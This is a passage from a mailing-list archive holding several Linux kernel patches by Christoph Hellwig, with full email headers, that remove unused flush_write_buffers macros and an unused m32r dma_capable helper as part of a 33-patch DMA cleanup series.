        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754146AbeAJIAk (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 03:00:40 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=0JuEE1unvevJ5PXqHKEqQaNX4Nl1WkCrydQ4fDGvEz4=; b=UAC+8ksEkuDEi73It5/kWVF/Y
        Y6BUVIwbddZyn5Xo3ac9Udve4li1qA31zzIobX3tgk39lJlXYUipNZo3PMytVWfxHOovvzvU55T2H
        UJAZiGDBnlZzpkeVDlWigyl5u3iPd2V80d7L8O9thN9Kcffj/adkXUyNTHzhIW0mz5TU8MA58jMzH
        GV7LGBlKaalHhg0+3hDO4GiRS4oR1bvjE3wAziaZ7tS8cmOss6IN2RjFQVM3weiRZ3iMe0zXDRoRD
        1FICzN08X3Y0G4K4kqP8qSrzfaKiDZ0cp84RmJUyd6TBlFL4C15PCJGdsPMr7X+26RK7NGDJtd3Au
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBJN-0003yf-92; Wed, 10 Jan 2018 08:00:37 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9856 gmane.linux.kernel.iommu:22022 gmane.linux.ports.alpha:4676 gmane.linux.kernel.arc:3286 gmane.linux.ports.arm.kernel:625001 gmane.linux.ports.hexagon:1502 gmane.linux.ports.ia64:28501 gmane.linux.kernel.metag:1578 gmane.linux.ports.mips.general:63188 gmane.linux.ports.parisc:28177 gmane.linux.ports.ppc64.devel:151825 gmane.linux.ports.sh.devel:56233 gmane.linux.ports.sparc:27184 gmane.linux.kernel.cross-arch:41246 gmane.linux.kernel:2662708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9856>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/hexagon/include/asm/io.h | 2 --
 1 file changed, 2 deletions(-)

diff --git a/arch/hexagon/include/asm/io.h b/arch/hexagon/include/asm/io.h
index 66f5e9a61efc..9e8621d94ee9 100644
--- a/arch/hexagon/include/asm/io.h
+++ b/arch/hexagon/include/asm/io.h
@@ -330,8 +330,6 @@ static inline void outsl(unsigned long port, const void *buffer, int count)
 	}
 }
 
-#define flush_write_buffers() do { } while (0)
-
 #endif /* __KERNEL__ */
 
 #endif
-- 
2.14.2


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 04/33] powerpc: remove unused flush_write_buffers definition
Date: Wed, 10 Jan 2018 08:59:58 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20180110080027.13879-5-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571143 30038 195.159.176.226 (10 Jan 2018 07:59:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:03 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 08:58:57 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBHj-0007MH-RH
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:58:56 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 1190CE15;
	Wed, 10 Jan 2018 08:00:49 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 1CA95DE6
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:48 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B156C14E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:47 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=lioZeBjyjc+4CAz8dtiEETXglDGPc45H4sAX28X9kuQ=;
	b=YCdCOikG68zS0umIEZcV79mcz
	u8puQ1kkxqKaixYoBDPQY2sXCj/5IOAXhuNeO/hcLhRZSFLzPI7LRwY7KZRsvny+YJxJXhycrZZwN
	T3ql9El0aZsdcrsR9kov7AfSq5Kfq5aT5LOJYnqw6XiU625kYWyJaNoiaQ209yLexCm9RwfykbQgI
	GJ4iC5v8IxP0Yb4lxaE7KstNgGRTac8QoBXumL2qrLCBYNYr9+pKsV7JwdUkp62qnl2c9E3/UY068
	dilw1DVbd7VnZU9GskEVA5wL/dLSqLOwhhU4v3YostM6V5A9xzrTN5RpFhABRtoc/jTyZ/1Vi3hoS
	0/yKcsjWQ==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJT-00041L-0V; Wed, 10 Jan 2018 08:00:43 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22023 gmane.linux.ports.mips.general:63189 gmane.linux.ports.ia64:28502 gmane.linux.ports.sh.devel:56234 gmane.linux.ports.sparc:27185 gmane.linux.kernel.cross-arch:41247 gmane.linux.ports.hexagon:1503 gmane.linux.kernel.arc:3287 gmane.linux.kernel.metag:1579 gmane.linux.ports.arm.kernel:625002 gmane.linux.ports.parisc:28178 gmane.linux.kernel:2662709 gmane.linux.ports.alpha:4677 gmane.linux.ports.ppc64.devel:151826
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22023>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/powerpc/include/asm/dma-mapping.h | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 5a6cbe11db6f..592c7f418aa0 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -107,9 +107,6 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 		dev->archdata.dma_offset = off;
 }
 
-/* this will be removed soon */
-#define flush_write_buffers()
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 extern int dma_set_mask(struct device *dev, u64 dma_mask);
 
-- 
2.14.2


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 06/33] m32r: remove the unused dma_capable helper
Date: Wed, 10 Jan 2018 09:00:00 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20180110080027.13879-7-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571148 31023 195.159.176.226 (10 Jan 2018 07:59:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:08 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jan 10 08:59:02 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZBHo-00078J-Db
	for lnx-sparclinux@m.gmane.org; Wed, 10 Jan 2018 08:59:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965156AbeAJIBD (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:03 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:40485 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965157AbeAJIAy (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Wed, 10 Jan 2018 03:00:54 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=5m3sWHu0i/1ncT32uHmlD/yLwHLhNTmcfacRCc4qzec=; b=ohqEQAUxjiZ0O5Tez1M1ePR+u
        ENKjSnfmoYpmSmUcDupqSMMCSUUqyHh7dgxMbUAeenHSKaSVY1Ehf7v16Guak+6vnLr+FRXy9dchk
        j3cT5UIl1b9Rj1EKm5BZnmYmI3mxUbUCC22LmafBhP20RFuEizqtxwviUkTjbMI6TZO/var14jzr4
        BdnYyRSPl+UnQQMJJ05SUpeOsfZOeKuxUJfZ7MWCX//8Gi7Tlz89nEhKYNCUSpaWOuLf7YXl5Igbo
        WPO3OfGOEmK+/hsN0FE/sk6hlp8GOhOGeOQZGf/3Muhc6ZLm3yKweKKrQAayS6oEXl+qHTHPMqowK
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBJY-00048A-Oh; Wed, 10 Jan 2018 08:00:49 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27186 gmane.linux.kernel.iommu:22024 gmane.linux.ports.alpha:4678 gmane.linux.kernel.arc:3288 gmane.linux.ports.arm.kernel:625003 gmane.linux.ports.hexagon:1504 gmane.linux.ports.ia64:28503 gmane.linux.kernel.metag:1580 gmane.linux.ports.mips.general:63190 gmane.linux.ports.parisc:28179 gmane.linux.ports.ppc64.devel:151827 gmane.linux.ports.sh.devel:56235 gmane.linux.kernel.cross-arch:41248 gmane.linux.kernel:2662710
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27186>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/m32r/include/asm/dma-mapping.h | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
index 336ffe60814b..8967fb659691 100644
--- a/arch/m32r/include/asm/dma-mapping.h
+++ b/arch/m32r/include/asm/dma-mapping.h
@@ -14,11 +14,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif /* _ASM_M32R_DMA_MAPPING_H */
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 03/33] m32r: remove unused flush_write_buffers definition
Date: Wed, 10 Jan 2018 08:59:57 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180110080027.13879-4-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571149 31194 195.159.176.226 (10 Jan 2018 07:59:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:09 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 08:59:03 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBHe-00075b-Ny
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:58:51 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D90E9E4D;
	Wed, 10 Jan 2018 08:00:45 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 01A1CDE6
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:45 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id AD90914E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:44 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=S/GH44cRGA0qPZti+sTqqqVKSE2/SlUTJm6LzCR7sTw=;
	b=WLQTUKD8pcaI2DfNFDzu97MUy
	GGfzuDewlZ4vvLDweb301Vr4PN7cvdmxVEwno58viqb9K3j5UM6w4aDJuPHB2cBAALJzEqoQwDPxW
	NXbw+YC8fhP1bEaN+3iAVN1lAVdvnUVb8DjdECPBBTl/8yWHojrrESujdMVlbSg+uRD1qkrU/DdZA
	puJ1w0ZLsFPAErIz58cvpUUbk4ig1aG1nZZ3ZYFcFSfb6K3L01bgiOpoWwF81dEUJ5d+pRfHZFg48
	QxCj0mIxJaH/jeVDP/wVR29vWEDjCQLT6d4KUSvE2qp5oQCG0WyA0/5Ea5Ah6qVgYZxnF+UEZRbXS
	/59Noz1iQ==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJQ-0003zT-5H; Wed, 10 Jan 2018 08:00:40 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22025 gmane.linux.ports.mips.general:63191 gmane.linux.ports.ia64:28504 gmane.linux.ports.sh.devel:56236 gmane.linux.ports.sparc:27187 gmane.linux.kernel.cross-arch:41249 gmane.linux.ports.hexagon:1505 gmane.linux.kernel.arc:3289 gmane.linux.kernel.metag:1581 gmane.linux.ports.arm.kernel:625004 gmane.linux.ports.parisc:28180 gmane.linux.kernel:2662711 gmane.linux.ports.alpha:4679 gmane.linux.ports.ppc64.devel:151828
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22025>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/m32r/include/asm/io.h | 2 --
 1 file changed, 2 deletions(-)

diff --git a/arch/m32r/include/asm/io.h b/arch/m32r/include/asm/io.h
index 1b653bb16f9a..a4272d8f0d9c 100644
--- a/arch/m32r/include/asm/io.h
+++ b/arch/m32r/include/asm/io.h
@@ -191,8 +191,6 @@ static inline void _writel(unsigned long l, unsigned long addr)
 
 #define mmiowb()
 
-#define flush_write_buffers() do { } while (0)  /* M32R_FIXME */
-
 static inline void
 memset_io(volatile void __iomem *addr, unsigned char val, int count)
 {
-- 
2.14.2


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 05/33] arc: remove CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
Date: Wed, 10 Jan 2018 08:59:59 +0100
Lines: 115
Approved: news@gmane.org
Message-ID: <20180110080027.13879-6-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571151 31651 195.159.176.226 (10 Jan 2018 07:59:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
